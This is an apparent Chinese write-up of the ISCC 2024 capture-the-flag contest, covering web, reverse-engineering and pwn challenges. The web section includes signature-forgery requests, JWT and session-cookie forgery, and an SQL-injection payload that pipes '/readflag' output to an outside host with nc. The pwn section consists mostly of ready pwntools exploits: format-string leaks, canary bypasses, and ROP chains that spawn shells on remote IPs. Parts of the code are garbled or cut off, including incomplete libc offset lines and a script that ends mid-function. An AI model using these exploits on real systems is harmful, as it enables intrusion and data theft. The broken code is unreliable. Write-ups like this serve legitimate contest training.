ISCC竞赛2024

ISCC竞赛(人民的好比赛)2024

欢迎关注微信公众号交流在这里插入图片描述

练武题

web

还没想好名字的塔防游戏

f12查看源码,world.js,查看提示

image-20240520195625259

Bears Brew Storms

Opal Oceans Glow

Elves Whisper Wonders

网站首页看到

Mystic Defense War: The Secret of Guardian Towers and Magical Monsters

去掉小写o与a首字母组合刚好18位

代码审计

题目

#! /usr/bin/env python
 # encoding=utf-8
 from flask import Flask
 from flask import request
 import hashlib
 import urllib.parse
 import os
 import json
 app = Flask(__name__)
 #随机16位
secret_key = os.urandom(16)
 class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if not os.path.exists(self.sandbox):
            os.mkdir(self.sandbox)
    def Exec(self):
        result = {}
        result['code'] = 500
        if self.checkSign():
            if "scan" in self.action:
                resp = scan(self.param)
                if resp == "Connection Timeout":
                    result['data'] = resp
                else:
                    print(resp)
                    self.append_to_file(resp)  # 追加内容到已存在的文件
                    result['code'] = 200
            if "read" in self.action:
                result['code'] = 200
                result['data'] = self.read_from_file()  # 从已存在的文件中读取
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
    def checkSign(self):
        if get_sign(self.action, self.param) == self.sign:
            return True
else:
 return False
 #调用了get_sign,
@app.route("/geneSign", methods=['GET', 'POST'])
 def geneSign():
 param = urllib.parse.unquote(request.args.get("param", ""))
 action = "read"
 print(request.args.get("param", ""))
 return get_sign(action, param)
 @app.route('/De1ta', methods=['GET', 'POST'])
 def challenge():
 print(request.cookies.get("action"))
 print(request.args.get("param", ""))
 print(request.cookies.get("sign"))
 action = urllib.parse.unquote(request.cookies.get("action"))
 param = urllib.parse.unquote(request.args.get("param", ""))
 sign = urllib.parse.unquote(request.cookies.get("sign"))
 ip = request.remote_addr
 if waf(param):
 return "No Hacker!!!!"
 task = Task(action, param, sign, ip)
 return json.dumps(task.Exec())
 def scan(param):
 try:
 with open(param, 'r') as file:
 content = file.read()
 return content
 except FileNotFoundError:
 return "The file does not exist"
 def md5(content):
 return hashlib.md5(content.encode()).hexdigest()
 def get_sign(action, param):
 return hashlib.md5(secret_key + param.encode('latin1') + 
action.encode('latin1')).hexdigest()
 def waf(param):
 check = param.strip().lower()
 if check.startswith("gopher") or check.startswith("file"):
 return True
 else:
 return False
 if __name__ == '__main__':
 app.debug = False
app.run()

由随机的密钥+提交的参数+一个动作 (key+param+action) 这里动作默认为scan。

访问De1ta,由cookies和提交的参数,会去执行Task类的Exec方法。 Exec方法里会根据提交的参数去生成签名Hash,去checkSign。 当签名验证成功后,去根据动作去追加文件,去读取文件。

根据上面和题目提示已经知道了要读取flag.txt。 所以必须过checkSign方法。 所以路由De1ta生成的签名和路由geneSign的签名必须一样。 2次提交中,key是随机生成的,是一样的,不用变。 param是人工手动提交的。 路由geneSign的action是默认的scan。 所以第一次路由geneSignparam提交: flag.txtread 此时生成的hash为: hasH(随机的Key+flag.txtread+“scan”)

请求包

GET /geneSign?param=flag.txtread HTTP/1.1

 Host: 101.200.138.180:12315

 Cache-Control: max-age=0

 Upgrade-Insecure-Requests: 1

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 

like Gecko) Chrome/124.0.0.0 Safari/537.36

 Accept: 

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag

 e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

 Accept-Encoding: gzip, deflate

 Accept-Language: zh-CN,zh;q=0.9

 Connection: close

响应包

HTTP/1.1 200 OK

 Server: Werkzeug/3.0.2 Python/3.12.3

 Date: Fri, 10 May 2024 05:16:59 GMT

 Content-Type: text/html; charset=utf-8

 Content-Length: 32

 Connection: close

 19528176342cf0870f5327eca3e88776

img

第二次路由De1ta提交flag.txt cookies里面附上hash,和action readscan 第二次生成的Hash hasH(随机的Key+flag.txt+“readscan”)

请求包

GET /De1ta?param=flag.txt HTTP/1.1 Host: 101.200.138.180:12315 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Cookie: sign=19528176342cf0870f5327eca3e88776; action=readscan Accept-Language: zh-CN,zh;q=0.9 Connection: close

响应包

HTTP/1.1 200 OK

 Server: Werkzeug/3.0.2 Python/3.12.3

 Date: Fri, 10 May 2024 05:17:09 GMT

 Content-Type: text/html; charset=utf-8

 Content-Length: 47

 Connection: close

 {"code": 200, "data": "ISCC{dhc7LLugXaz*ezt1}"}

img

原神启动

直接cve-2020-1938打

image-20240520195913970

这题我出不了了

app.js

#!/usr/bin/node

/**

* @HITCON CTF 2017

* @Author Orange Tsai

*/

const qs = require(“qs”);

const fs = require(“fs”);

const pg = require(“pg”);

const mysql = require(“mysql”);

const crypto = require(“crypto”);

const express = require(“express”);

const pool = mysql.createPool({

connectionLimit: 100,

host: “localhost”,

user: “ban”,

password: “ban”,

database: “bandb”,

});

const client = new pg.Client({

host: “localhost”,

user: “userdb”,

password: “userdb”,

database: “userdb”,

});

client.connect();

const KEYWORDS = [

“select”,

“union”,

“and”,

“or”,

“\”,

“/”,

“*”,

" "

]

function waf(string) {

for (var i in KEYWORDS) {

​ var key = KEYWORDS[i];

​ if (string.toLowerCase().indexOf(key) !== -1) {

​ return true;

​ }

}

return false;

}

const app = express();

app.use((req, res, next) => {

var data = “”;

req.on(“data”, (chunk) => { data += chunk})

req.on(“end”, () =>{

​ req.body = qs.parse(data);

​ next();

})

})

app.all(“/*”, (req, res, next) => {

if (“show_source” in req.query) {

​ return res.end(fs.readFileSync(__filename));

}

if (req.path == “/”) {

​ return next();

}

var ip = req.connection.remoteAddress;

var payload = “”;

for (var k in req.query) {

​ if (waf(req.query[k])) {

​ payload = req.query[k];

​ break;

​ }

}

for (var k in req.body) {

​ if (waf(req.body[k])) {

​ payload = req.body[k];

​ break;

​ }

}

if (payload.length > 0) {

​ var sql = INSERT INTO blacklists(ip, payload) VALUES(?, ?) ON DUPLICATE KEY UPDATE payload=?;

} else {

​ var sql = SELECT ?,?,?;

}

return pool.query(sql, [ip, payload, payload], (err, rows) => {

​ var sql = SELECT * FROM blacklists WHERE ip=?;

​ return pool.query(sql, [ip], (err,rows) => {

​ if ( rows.length == 0) {

​ return next();

​ } else {

​ return res.end(“Shame on you”);

​ }

​ });

});

});

app.get(“/”, (req, res) => {

var sql = SELECT * FROM blacklists GROUP BY ip;

return pool.query(sql, [], (err,rows) => {

​ res.header(“Content-Type”, “text/html”);

​ var html = “

Here is the <a href=/?show_source=1>source, thanks to Orange\n\n

Hall of Shame

(delete every 60s)\n”;

​ for(var r in rows) {

​ html += ${parseInt(r)+1}. ${rows[r].ip}\n;

​ }

​ return res.end(html);

});

});

app.post(“/reg”, (req, res) => {

var username = req.body.username;

var password = req.body.password;

if (!username || !password || username.length < 4 || password.length < 4) {

​ return res.end(“Bye”);

}

password = crypto.createHash(“md5”).update(password).digest(“hex”);

var sql = INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING;

return client.query(sql.split(“;”)[0], (err, rows) => {

​ if (rows && rows.rowCount == 1) {

​ return res.end(“Reg OK”);

​ } else {

​ return res.end(“User taken”);

​ }

});

});

app.listen(31337, () => {

console.log(“Listen OK”);

});

注入点在username,之后的sql被分号分割,因此在这里行不通

\1. 存在waf,过滤了斜杠

之前已经提到过造成漏洞原因,就是字段名过滤不严拼接进入了语句,但这个地方是insert,mysql中的insert是没有返回值的,所以没法注入.

在postgresql中,insert语法中存在RETURNING语法.

INSERT INTO table_name [ AS alias ] [ ( column_name [, …] ) ]

[ OVERRIDING { SYSTEM | USER} VALUE ]

{ DEFAULT VALUES | VALUES ( { expression | DEFAULT } [, …] ) [, …] | query }

[ ON CONFLICT [ conflict_target ] conflict_action ]

[ RETURNING * | output_expression [ [ AS ] output_name ] [, …] ]

If the INSERT command contains a RETURNING clause, the result will be similar to that of a SELECT statement containing the columns and values defined in the RETURNING list, computed over the row(s) inserted or updated by the command.

这样就能控制返回,就可以绕过第一部分了.

由于payload一定需要\,所以一定解决这个waf. 先来瞅瞅这个banip的流程,首先是判断你的请求查询和消息体中是否有黑名单中字符,如果有ip就会被加入黑名单,之后再从黑名单查询是否有你的ip…

这里如果在insert报错,那么之后的查询就会不存在.

Mysql中,如果语句超过16M就会触发错误,max_allowed_packet就是mysql限制数据包大小的参数,如果超出就会插入错误.

from random import randint

import requests

# payload = “union”

payload = “”“‘,’')/%s/returning(1)as”\‘/“,(1)as”\'/-(a=child_process)/“,(2)as”\'/-(b=/readflag|nc orange.tw 12345)/“,(3)as”\'/-console.log(process.mainModule.require(a).exec(b))]=1//“–”“” % (’ '10241024*16)

username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))

data = {

​ ‘username’: username+payload,

​ ‘password’: ‘AAAAAA’

​ }

print ‘ok’

r = requests.post(‘http://13.113.21.59:31337/reg’, data=data);

print r.content

img

回来吧永远滴神

第一个提示查看网站源代码

img

提交进入隐藏关卡

img

源码

img

Base64->hex

img

Flag[0]: I{R_ifCs@j

测试界面SSTI,可能有waf

SSIT脚本

ls查看flag1与2

img

img

将源码下载下来审计

img

找到flag3加密逻辑

img

脚本解密运行

将四部分连一起

I{n_zIcCmoSFdoLEoaeoClrai_unIUCaehJST_k}

进行栅栏解密

img

Flask中的pin值计算

image-20240520200114164

解码得到/getusername

访问

img

再次输入提示

img

访问路由,app

img

img

一秒内计算数学,写脚本

img

访问路由,解码

{“alg”:“HS256”,“typ”:“JWT”}{“name”:“donate”,“quantity”:1}

img

看源码部分,获取功德代码是这段,

.then(data => {

​ document.querySelector(‘h1’).textContent = ‘当前功德:’ + data.gongde;

​ document.querySelectorAll(‘h1’)[1].textContent = data.message;

ISCC_muyu_2024

将donate->gongde,quantity拉大,盲猜hash256是ISCC_muyu_2024构造jwt

img

敲木鱼抓包更换jwt,给出地址:02:42:ac:18:00:02提示/machine_id

点击vip拿到新的jwt

img

{

“exp”: 1714973848,

“iat”: 1714970248,

“jti”: “slBj9vxEIRLuzzXLPqu0AA”,

“nbf”: 1714970248,

“role”: “member”,

“username”: “ISCCmember”

}

需要role改为supervip,脚本构造

bp传参,显示welcome_to_iscc_club,应该是supervip

的key

img

使用flask_session_cookie_manager3.py伪造jwt

img

eyJyb2xlIjoic3VwZXJ2aXAifQ.Zjhihg.4pLyp5XEkqZlgXxoktSOYqyKWik

bp修改svipcookie得到acff8a1c-6825-4b9b-b8e1-8983ce1a8b94,应该就是machine-id

img

运行pin脚本

输入pin得到flag

img

掉进阿帕奇的工资

随便注册账号,进行登录

职称不能填写,f12看一下

img

Job被隐藏,bp抓包手动添加admin

img

尝试登录,显示不行,点击信息重置,选择密保方式

登陆成功

输入ls和11

返回]B

推测是xor

输入]B 11

img

我们通过看dockerfile

secret.host:

image: nginx

container_name: secret.host

volumes:

- ./:/etc/nginx/conf.d/

猜flag在http://secret.host/flag内

Payload

php -r “echo file_get_contents(‘http://secret.host/flag’);”

读取到flag

reverse

迷失之门
import re

def find_sequence_and_concatenate(file_path):
    pattern = b'\x0F\xB6\x00\x3C(.)' 

    with open(file_path, 'rb') as file:
        data = file.read()
    matches = re.findall(pattern, data)
    result = ''.join([match.decode('latin1') for match in matches])
    return result
file_path = 'ez.exe'
result = find_sequence_and_concatenate(file_path)
print(result)
enc = bytes(result, encoding='UTF-8')

key = [i for i in b"DABBZXQESVFRWNGTHYJUMKIOLPC"]
# print([i + 51 for i in key])

index = []
for i in enc:
    i_char = chr(i)
    if i_char in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
        index.append("ABCDEFGHIJKLMNOPQRSTUVWXYZ".index(i_char))
    elif i_char in "abcdefghijklmnopqrstuvwxyz":
        index.append("abcdefghijklmnopqrstuvwxyz".index(i_char) + 26)
    elif i_char in "0123456789+/-=!#&*()?;:*^%":
        index.append("0123456789+/-=!#&*()?;:*^%".index(i_char) + 52)
    else:
        print("wrong")
# print(index)

for i in range(len(index)):
    print(chr((key[i] + index[i])), end='')
AI

将文件反编译

img

# uncompyle6 version 3.9.1

# Python bytecode version base 3.9.0 (3425)

# Decompiled from: Python 3.11.6 (tags/v3.11.6:8b6ee5b, Oct 2 2023, 14:57:12) [MSC v.1935 64 bit (AMD64)]

# Embedded file name: T4.py

# Compiled at: 2024-02-23 15:11:35

# Size of source mod 2**32: 1586 bytes

Unsupported Python version, 3.9.0, for decompilation

AI-13.7z需要密码

Base64先编码字符串,osset_str设置偏移量对字符串异或与偏移量加减运算还原原始字符

对解密后的key进行解压缩提取到当前目录

循环读取24个以数字命名的图像文件

img

_7zname = 'AI-13.7z'  
offset_str = '123456789012345678901234'
target_base64 = 'TWF/c1sse19GMW5gYVRoWWFrZ3lhd0B9'


import base64
def decrypt(encrypted_base64, offset_str):
    encrypted_bytes = base64.b64decode(encrypted_base64.encode('utf-8'))
    encrypted_str = encrypted_bytes.decode('utf-8')
    decrypted = []
    for i, char in enumerate(encrypted_str):
        offset = int(offset_str[i])
        ascii_val = ord(char) ^ offset
        if i % 2 == 0:
            original_ascii = ascii_val - offset
        else:
            original_ascii = ascii_val + offset
        decrypted_char = chr(original_ascii)
        decrypted.append(decrypted_char)
    return ''.join(decrypted)

key = decrypt(target_base64, offset_str)

# # Key{Y0u_F1nd_The_key_w@}
import py7zr
with py7zr.SevenZipFile(_7zname, mode='r', password=key) as z:
    z.extractall()


import torch  # torch基础库
import torch.nn as nn  # torch神经网络库
import torch.nn.functional as F
import torchvision.transforms as transforms  # 图像处理库
from PIL import Image  # 图像处理库


class Net(nn.Module):
    def __init__(self):
        super(Net, self).__init__()
        self.fc1 = nn.Linear(28 * 28, 128)
        self.fc2 = nn.Linear(128, 64)
        self.fc3 = nn.Linear(64, 10)

    def forward(self, x):
        x = x.view(-1, 28 * 28)
        x = F.relu(self.fc1(x))
        x = F.relu(self.fc2(x))
        x = self.fc3(x)
        return x


model = torch.load("confused_digit_recognition_model.pt")
model.eval()

transform = transforms.Compose(
    [
        transforms.Grayscale(num_output_channels=1),
        transforms.Resize((28, 28)),
        transforms.ToTensor(),
        transforms.Normalize((0.5,), (0.5,)),
    ]
)
dic = {
    "0": "@nd",
    "1": "a!",
    "2": "_",
    "3": "F",
    "4": "SSS",
    "5": "W@",
    "6": "K",
    "7": "1",
    "8": "C",
    "9": "d",
}
flag = []
for i in range(24):
    image = Image.open(str(i + 1) + ".png")
    image = transform(image).unsqueeze(0)  # type:ignore
    output = model(image)
    predicted = torch.argmax(output, dim=1)
    flag.append(predicted.item())
flag = "".join(map(str, flag))
for k, v in dic.items():
    flag = flag.replace(k, v)
print(flag)
CrypticConundrum

检查有壳,upx进行脱壳

img

使用ida64打开

img

转换16进制

img

img

def decrypt(enc, key1, len_key2):
    
    for i in range(len_key2):
        enc[i] = (enc[i] - 10) % 256

    
    for m in range(len_key2 - 1):
        enc[m] = (enc[m] + enc[m + 1]) % 256

    
    for k in range(len_key2 - 1):
        enc[k] ^= ord(key1[2])

    
    for j in range(0, len_key2, 2):
        enc[j] ^= ord(key1[j % 4])

    
    for i in range(len_key2):
        enc[i] = (enc[i] + ord(key1[i % 4])) % 256


if __name__ == "__main__":
    enc = bytearray(
        [0xbb, 0x63, 0xf4, 0x20, 0x37, 0x15, 0x98, 0x99, 0x32, 0x0a, 0x68, 0x9d, 0x21, 0xf2, 0xbe, 0x71, 0x09, 0x27,
         0x3c, 0xd2, 0xe9, 0x47, 0x32, 0xf0, 0xc0, 0x34])
    key1 = "ISCC"
    key2 = "So--this-is-the-right-flag"
    len_key2 = 26
    decrypt(enc, key1, len_key2)
    print(enc.decode('utf-8'))
Which_is_the_flag

import base64

print(“ISCC{” + base64.b64decode(bytes.fromhex(“”.join([chr(get_wide_byte(0x14000BF40+i) ^ 0xc) for i in range(48)])).decode(‘utf-8’)).decode() + “}”)

Badcode
num = [-784753581, -1204695773, 1903142339, -1779399242, 1068922784, -73317484]
hex_representation = [hex(n & 0xFFFFFFFF) for n in num]
print(hex_representation)
from Crypto.Util.number import *

def shift(z, y, x, k, p, e):
    return ((((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((x ^ y) + (k[(p & 3) ^ e] ^ z)))
def encrypt(v, k):
    delta = 0x61C88647
    n = len(v)
    rounds = 6 + 52 // n
    x = 0
    z = v[n - 1]
    for i in range(rounds):
        x = (x - delta) & 0xFFFFFFFF
        e = (x >> 2) & 3
        for p in range(n - 1):
            y = v[p + 1]
            v[p] = (v[p] + shift(z, y, x, k, p, e)) & 0xFFFFFFFF
            z = v[p]
        p += 1
        y = v[0]
        v[n - 1] = (v[n - 1] + shift(z, y, x, k, p, e)) & 0xFFFFFFFF
        z = v[n - 1]
    return v
def decrypt(v, k):
    delta = 0x61C88647
    n = len(v)
    rounds = 6 + 52 // n
    x = (0 - rounds * delta) & 0xFFFFFFFF
    y = v[0]
    for i in range(rounds):
        e = (x >> 2) & 3
        for p in range(n - 1, 0, -1):
            z = v[p - 1]
            v[p] = (v[p] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
            y = v[p]
        p -= 1
        z = v[n - 1]
        v[0] = (v[0] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
        y = v[0]
        x = (x + delta) & 0xFFFFFFFF
    return v
if __name__ == '__main__':
    plain = [0xd1399c53, 0xb831cd23, 0x716fa5c3,0x95f085b6,0x3fb677a0, 0xfba14394]#输入自己比较的字符
    key = [0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x76543210]
    decrypted = decrypt(plain, key)
    flag=[]
    v16='674094872038771148666737'
    
    for i in range(len(plain)):
        x=long_to_bytes(decrypted[i])
        for j in range(3,-1,-1):
            flag.append(x[j])
        
    for i in range(len(flag)):
        flag[i]^=ord(v16[i])-0x30
        if i%2:
            flag[i]-=2
        else:
            flag[i]+=3
            
    print(bytes(flag))
WinterBegins

64ida分析,两段加密

img

在此断点,程序运行

img

De调试

标题: fig: - 说明 image-20240508230916755

脚本

img

img

cmp = []
for i in range(300):
    a = get_wide_byte(0x14001E38D + i)
    if a == 0:
        break
    cmp.append(a)
print(cmp)
import string as s

def solve_vm(d):
    v = len(d)
    v5 = [0 for i in range(v)]
    v4 = v -1
    i = 3902
    while(True):
        while True:
            while i == 153:
                v5[v - v4] = d[v4]
                v5[v - v4 - 1] = d[v4 - 1]
                i = 292
            if i != 292:
                break
            v4 -= 2
            i = 3902
        if i != 3902:
            break
        v1 = 12382
        if v4 >= 0:
            v1 = 153
        i = v1
    v5 = [hex(i)[2:] for i in v5]
    return [int(v5[i+3]+v5[i+2]+v5[i+1]+v5[i],16) for i in range(0,len(v5),4)]

def get_res(strs, d):
    d = solve_vm(d)
    return [strs.index(i) for i in d]

def crack(check=False, datas=None):
    fl = ""
    if check:
        result = [hex(i)[2:] for i in datas]
    else:
        result = datas
    ptr = 0
    while(ptr < len(result)):
        temp = result[ptr]
        station = None
        ptr += 1
        temp += result[ptr]
        if temp[1] == "b":
            ptr += 1
            station = result[ptr]
        if station is not None:
            temp = hex(int(temp,16) + int(station) - 5)[2:]
        #print(chr(int(temp,16)),temp,station)
        fl += chr(int(temp,16))
        ptr += 1
    return fl

def get_rw(fl):
    t_fl = ""
    for pos,elem in enumerate(fl):
        if elem in s.digits:
            target_string = t_fl[-1]
            for _ in range(int(elem) - 1):
                t_fl += target_string
        else:
            t_fl += elem
    return t_fl

d = [187, 168, 196, 171, 180, 229, 199, 176, 187, 168, 196, 171, 176, 215, 212, 194, 187, 168, 196, 171, 187, 168, 196, 171, 180, 229, 199, 176, 191, 180, 215, 237, 202, 171, 208, 194, 187, 168, 196, 171, 210, 201, 187, 208, 191, 180, 215, 237, 206, 194, 202, 177, 191, 180, 215, 237, 176, 215, 212, 194, 191, 180, 215, 237, 206, 194, 202, 177, 180, 229, 199, 176, 191, 180, 215, 237, 176, 215, 212, 194, 180, 229, 199, 176, 191, 180, 215, 237, 202, 171, 208, 194, 191, 180, 215, 237, 210, 201, 187, 208, 191, 180, 215, 237, 191, 180, 215, 237, 187, 168, 196, 171, 177, 202, 182, 179, 187, 168, 196, 171, 187, 168, 196, 171, 187, 168, 196, 171, 176, 215, 212, 194, 191, 180, 215, 237, 187, 168, 196, 171, 187, 168, 196, 171, 202, 171, 208, 194, 191, 180, 215, 237, 190, 198, 195, 192, 191, 180, 215, 237, 202, 171, 208, 194, 191, 180, 215, 237, 210, 201, 187, 208, 180, 229, 199, 176, 206, 194, 202, 177, 206, 194, 202, 177, 180, 229, 199, 176, 187, 168, 196, 171, 208, 180, 192, 193, 194, 175, 186, 174, 194, 175, 186, 174, 190, 198, 195, 192, 194, 175, 186, 174, 206, 194, 202, 177, 210, 201, 187, 208, 190, 198, 195, 192]# input data
strs = [3400643510, 2882192080, 3033579968, 2948771514, 3334389955, 3268325834, 3032477143, 2830871492, 3618685652, 3386036411, 4207061457, 3853824199]
print(get_rw(crack(True,get_res(strs,d))))
Find_All
v4 = [get_wide_byte(0x00401625 + i * 7) for i in range(24)]

for i in range(0, len(v4) - 1, 4):
    v4[i + 2] ^= v4[i + 3]
    v4[i + 1] ^= v4[i + 2]
    v4[i] ^= v4[i + 1]

# Convert the list of integers to a string
result = ''.join(chr(byte) for byte in v4)
print(result)
I_am_the_Mathematician

解压发现txt文档,与exe有关

img

无壳

img

拉到IDA64分析

img

脚本运行

img

def fib(n): 
  a,b = 0,1 
  lis = [] 
  for i in range(n): 
    a,b =b,a+b 
    lis.append(a) 
  return lis 
 
 with open(r"code_book_45.txt","r") as file:
  data = file.read() 
  file.close() 
 
 target = fib(20) 
 \# print(target) 
 assert target[-1] > len(data) 
 print(f"ISCC{{{''.join([data[i - 1] if i < len(data) else '' for i in target])}}}")
DLLCode

先分析,一个.dll文件一看就是需要运行时可能需要的。 32bit,无壳

img

直接看main()函数:

img

C++写的需要规整一下格式,分析后,拿到思路: 首先输入一个字符串(flag)—>进行编码—>进行了一个加密操作—>比较输出结果。 接下来看一下加密的部分: sub_4014D0(v30, v33);

这个就是重新进行索引。 到后面可以发现这里重新索引后就是输入的后半部分。 前部分进行了异或,异或的值为“ISCC” 拿到比较的值:v8

img

s = [0,16,56,21,10,61,113,43,11,0,20,3,67,89,83,89,70,84,64,103,116,125,117,98]

s1 = s[:12] 

v7 = s[12:] 

v4 = [2, 0, 3, 1, 6, 4, 7, 5, 10, 8, 11, 9]

s2 = [0] * 12

for i in range(len(s2)):

  s2[i] = v7[v4[i]]

key = "ISCC"

for i in range(len(s1)):

  s1[i] ^= ord(key[i % len(key)])

result = ""

for i in range(len(s1)):

  result += chr(s1[i]) + chr(s2[i])

print(result)

pwn

chaos
1

64

asd

5

64

asf

2

0

5

64

FlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlag

ls拿到flag

ISCC_easy
from pwn import *
from ctypes import*
from ctypes import*
from numpy import*
from LibcSearcher import*

p = remote('182.92.237.102', 10013)
libc=ELF('libc6-i386_2.31-0ubuntu9.14_amd64.so')

context.arch='i386'
mydaya=0x804C030
payload=fmtstr_payload(4,{mydaya:5})+b'%15$p'

p.send(payload)

p.recvuntil(b'0x')
libc_add=int(p.recv(8),16)
libcbase=libc_add-libc.sym['__libc_start_main']-245
success('libcbase '+hex(libcbase))

system=libcbase+libc.symbols['system']
str_bin_sh=libcbase+next(libc.search(b'/bin/sh'))
payload=b'a'*(0x90+0x4)+p32(system)*2+p32(str_bin_sh)
p.recvuntil(b'Input')
p.sendline(payload)

p.interactive()
easyshell
from pwn import *

context(log_level='DEBUG')
p = remote('182.92.237.102', 10011)
p.recvuntil(b"shell")
payload = b'flagis %15$p.%17$p'
p.sendline(payload)
s = p.recvuntil(b'flag')

# 获取canary和piebase
canary,main152 = s[3:].split(b' ')[0].split(b'.')
piebase = int(main152,16)-0xfe-0x1422
canary = int(canary,16)
success("canary: "+hex(canary)+"\npiebase:"+hex(piebase))
# 计算backdoor函数地址,+5为了跳过push
backdoor_addr = piebase+0x1289+5
payload = b'a'*(0x40-8)+p64(canary)+b'\0'*8+p64(backdoor_addr)
p.sendline(payload)
p.recvuntil(b'"help"')
p.sendline(b'exit')
p.interactive()
miao
from pwn import *
from LibcSearcher import *

#io=process("./attachment-41")
io=remote("182.92.237.102",10015)
elf=ELF("./attachment-41")
io.recvuntil(b"?\n")
io.sendline(b"%31$p")
io.recvuntil(b"0x")
canary=int(io.recv(4*2),16)
print(hex(canary))
eax=0x080b8666
ebx_edx=0x0806f309
ecx=0x080def3d
bin_sh=0x80BB7C8
int_80=0x0806cf83
payload=b"a"*0x64+p32(canary)
payload=payload.ljust(0x74,b"a")
payload+=p32(eax)+p32(0xb)+p32(ebx_edx)+p32(bin_sh)+p32(0)+p32(ecx)+p32(0)+p32(int_80)
io.sendline(payload)
io.interactive()
Flag
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386',os='linux')

#io = process('./attachment-12')
io = remote('182.92.237.102',10012)
io.recvuntil("what's the content?")
payload = '%p-'*18 + 'aaaa%p'
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('aaaa')
canary = int(io.recv(10),16)
success('canary---->'+hex(canary))
io.recvuntil('Input:\n')
puts_plt = 0x08049130
puts_got = 0x804C01C
pop_ebx = 0x08049022
ret = 0x0804900e
#gdb.attach(io)
back = 0x0804931B
main = 0x80494C2
payload = b'a'*(0x94-0xc) + p32(canary) + p32(0)*3 +p32(puts_plt) + p32(back) + p32(puts_got)
io.send(payload)
puts = u32(io.recv(4))
success('puts---->'+hex(puts))
pause()
system = puts - 0x06d1e0 +  0x041360
binsh = puts - 0x06d1e0 +   0x18c363

io.recvuntil('Input:\n')
payload = b'a'*(0x94-0xc) + p32(canary) + p32(0)*3 + p32(system) + p32(0) + p32(binsh)
#gdb.attach(io)
io.send(payload)
io.interactive()
Your_program

使用gets函数,存在栈溢出,构造roc链子

指针+38或o中指针+48的地址作为函数指针用read函数来读输入

调用printf

img

img

import time
 context(arch="amd64",log_level="debug")
 \#p = process("./your_program")
 p = remote("182.92.237.102",10032)
 elf = ELF("./your_program")
 def get_addr(p):
 return u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
 printf_got = elf.got["printf"]
 printf_plt = elf.plt["printf"]
 puts_plt = elf.plt["puts"]
 pop_rdi_ret_add = 0x0000000000401763
 ret_add = 0x000000000040101a
 main_add = 0x00000000004014C8
 auth_add = 0x000000000040127A  #has overflow
 o_add = 0x0000000000403668
 key = b"A"*32 + p64(0) + p64(pop_rdi_ret_add) + p64(printf_got) + p64(puts_plt) + 
 p64(main_add)
 p.sendlineafter("Enter key:",key)
 printf_add = get_addr(p)
 print(hex(printf_add))
 libc_base = printf_add -  
 system_add = libc_base +  
 0x052290
 \#bin_sh_add = libc_base +  0x1b45bd
 def func1(payload):  
 \#存在格式化字符串漏洞
 p.sendlineafter(">",b"2")
 p.sendline(payload)
 def clear(choice=b"n"):
 p.sendlineafter(">",b"4")
 p.sendlineafter("Are you sure you want to exit? (y/n)",choice)
 def func2(payload):   
 \#可以申请个堆块写内容
 p.sendlineafter(">",b"3")
 p.sendline(payload)
 offset = 6
 key = b"A"*28
 p.sendlineafter("Enter key:",key)
 p.sendlineafter("Welcome to ISCC, tell me your name:",b"hacker")
 payload = b"%7$s".ljust(8,b"\xff") + p64(o_add)
 func1(payload)
 p.recvuntil("hello hack\n")
 heap_base = u64(p.recvuntil(b"\xff")[:-1].ljust(8,b"\x00"))
 print(hex(heap_base))
 \#gdb.attach(p)
 clear(b"\x24")
 clear()
 func2(p64(0)*3+p64(system_add))
 payload = f"%{0x3024}c%9$hn".encode().ljust(0x18,b"\xff") + p64(heap_base)
 func1(payload)
 print(hex(libc_base))
 p.interactive()
ISCC_U

使用checksec分析

img

Ida分析有固定加载地址,利用内存地址进行攻击

img

img

 from pwn import *
 from LibcSearcher import*
 p=remote('182.92.237.102',10016)
 libc=ELF('libc6-i386_2.31-0ubuntu9.14_amd64.so')
 
 def create(Size,Content=b'a'):
   p.recvuntil(b'choice')
   p.sendline(b'1')
   p.recvuntil(b'size')
   p.sendline(bytes(str(Size),'utf-8'))
   p.recvuntil(b'Content')
   p.send(Content)
 def free(id):
   p.recvuntil(b'choice')
   p.sendline(b'2')
   p.recvuntil(b'Index')
   p.sendline(bytes(str(id),'utf-8'))
 def show(id):
   p.recvuntil(b'choice')
   p.sendline(b'3')
